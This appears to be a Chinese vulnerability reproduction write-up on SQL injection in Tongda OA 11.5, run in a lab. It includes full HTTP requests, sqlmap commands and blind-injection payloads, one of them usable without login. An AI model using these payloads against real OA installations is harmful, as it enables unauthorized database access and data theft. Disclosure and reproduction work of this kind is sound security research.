0x00 漏洞描述
通达OA 11.5存在sql注入
0x01 漏洞影响版本
通达oa 11.5
0x02 漏洞复现
1、下载通达OA 11.5
https://cdndown.tongda2000.com/oa/2019/TDOA11.5.exe，点击安装
2、创建一个普通账户test:test123456
3.1、id参数存在sql注入
利用条件：一枚普通账号登录权限，但测试发现，某些低版本也无需登录也可注入
参数位置：
/general/appbuilder/web/report/repdetail/edit?link_type=false&slot={}&id=2
webrootgeneralappbuildermodules eportcontrollersRepdetailController.php，actionEdit函数中存在 一个$_GET[“id”]; 未经过滤，拼接到SQL
GET /general/appbuilder/web/report/repdetail/edit?link_type=false&slot={}&id=2 HTTP/1.1
Host: 192.168.77.137
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: PHPSESSID=2jtfe5ckpfh9mklegtgs0t1e73; USER_NAME_COOKIE=test; OA_USER_ID=65; SID_65=9e1a1f39
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 13.1.1、登录test用户,构造urlhttp://192.168.77.135/general/appbuilder/web/report/repdetail/edit?link_type=false&slot={}&id=2，burp抓包，
3.1.2、sqlmap跑，sqlmap -u “http://192.168.77.135/general/appbuilder/web/report/repdetail/edit?link_type=false&slot={}&id=2” -p “id” –cookie=”PHPSESSID=mva518tjsg5errdk8toa75g8o2; USER_NAME_COOKIE=test; OA_USER_ID=65; SID_65=fabef8fe” –current-db
sqlmap 的payload：布尔盲注：link_type=false&slot={}&id=(SELECT (CASE WHEN (2489=2489) THEN 2 ELSE (SELECT 2530 UNION SELECT 6370) END))
时间盲注：link_type=false&slot={}&id=2 OR (SELECT 4201 FROM (SELECT(SLEEP(5)))birR)
3.2、starttime参数
利用条件：一枚普通账号登录权限，但测试发现，某些低版本也无需登录也可注入
参数位置：
POST /general/appbuilder/web/calendar/calendarlist/getcallist HTTP/1.1
Host: 192.168.77.135
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: PHPSESSID=cc8r8nkl66443744vcpfpnncn2; USER_NAME_COOKIE=test; OA_USER_ID=65; SID_65=d93dd10a
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 53
starttime=1&endtime=1598918400&view=month&condition=13.2.1、sqlmap 跑，sqlmap -r test1.txt
sqlmap的payload：starttime=1′) AND (SELECT 8771 FROM (SELECT(SLEEP(5)))xrUG) AND (‘CsEA’=’CsEA&endtime=1598918400&view=month&condition=1
3.3.orderby参数
利用条件：一枚普通账号登录权限，但测试发现，某些低版本也无需登录也可注入
参数位置：(两处)
/general/email/inbox/get_index_data.php?asc=0&boxid=&boxname=inbox&curnum=0&emailtype=ALLMAIL&keyword=&orderby=3–&pagelimit=10&tag=×tamp=1598069103&total=
/general/email/sentbox/get_index_data.php?asc=0&boxid=&boxname=sentbox&curnum=3&emailtype=ALLMAIL&keyword=sample%40email.tst&orderby=1&pagelimit=20&tag=×tamp=1598069133&total=
3.3.1、登录test用户，构造http://192.168.77.136/general/email/inbox/get_index_data.php?asc=0&boxid=&boxname=inbox&curnum=0&emailtype=ALLMAIL&keyword=&orderby=3–&pagelimit=10&tag=×tamp=1598069103&total=，burp抓包
GET /general/email/inbox/get_index_data.php?asc=0&boxid=&boxname=inbox&curnum=0&emailtype=ALLMAIL&keyword=&orderby=3&pagelimit=10&tag=×tamp=1598069103&total= HTTP/1.1
Host: 192.168.77.137
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: PHPSESSID=2jtfe5ckpfh9mklegtgs0t1e73; USER_NAME_COOKIE=test; OA_USER_ID=65; SID_65=9e1a1f39
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1GET /general/email/sentbox/get_index_data.php?asc=0&boxid=&boxname=sentbox&curnum=3&emailtype=ALLMAIL&keyword=sample%40email.tst&orderby=1&pagelimit=20&tag=×tamp=1598069133&total= HTTP/1.1
Host: 192.168.77.137
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: PHPSESSID=2jtfe5ckpfh9mklegtgs0t1e73; USER_NAME_COOKIE=test; OA_USER_ID=65; SID_65=9e1a1f39
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
3.3.2、payload：RLIKE (SELECT (CASE WHEN (1=1) THEN 1 ELSE 0x28 END))，如下图证明存在布尔盲注
3.3.3、使用手工注入，经过测试发现过滤了单引号，对r字符进行转换成16进制
3.3.4、然后依次手工尝试，获得用户名root，ps：奈何没有转换成16进制的sqlmap tamper脚本，有大佬有的分享下，比心~
3.4、id参数存在sql注入
利用条件：11.5版本无需登录
参数位置：SORT_ID，FILE_SORT
POST /general/file_folder/swfupload_new.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
Referer: http://192.168.202.1/general/meeting/myapply/details.php?affair=true&id=5&nosign=true&reminding=true
X-Resource-Type: xhr
Connection: close
Host: 192.168.77.137
Pragma: no-cache
x-requested-with: XMLHttpRequest
Content-Length: 433
x-wvs-id: Acunetix-Deepscan/186
Cache-Control: no-cache
accept: */*
origin: http://192.168.202.1
Accept-Language: en-US
Content-Type: multipart/form-data; boundary=----------GFioQpMK0vv2
------------GFioQpMK0vv2
Content-Disposition: form-data; name="ATTACHMENT_ID"
1
------------GFioQpMK0vv2
Content-Disposition: form-data; name="ATTACHMENT_NAME"
1
------------GFioQpMK0vv2
Content-Disposition: form-data; name="FILE_SORT"
2
------------GFioQpMK0vv2
Content-Disposition: form-data; name="SORT_ID"
0 RLIKE (SELECT (CASE WHEN (1=1) THEN 1 ELSE 0x28 END))
------------GFioQpMK0vv2--3.4.1、payload：RLIKE (SELECT (CASE WHEN (1=1) THEN 1 ELSE 0x28 END))，如下图，证明存在布尔盲注
3.4.2、RLIKE (SELECT (CASE WHEN (substr(user(),1,1)=0x72) THEN 1 ELSE 0x28 END))，经过测试发现过滤了单引号，对r字符进行转换成16进制,通过手工最终获得数据库用户名root
0x03 修复建议
升级版本
0x04 参考连接：
https://mp.weixin.qq.com/s/RlOpohHvjHv_Qg3mNgDCAQ
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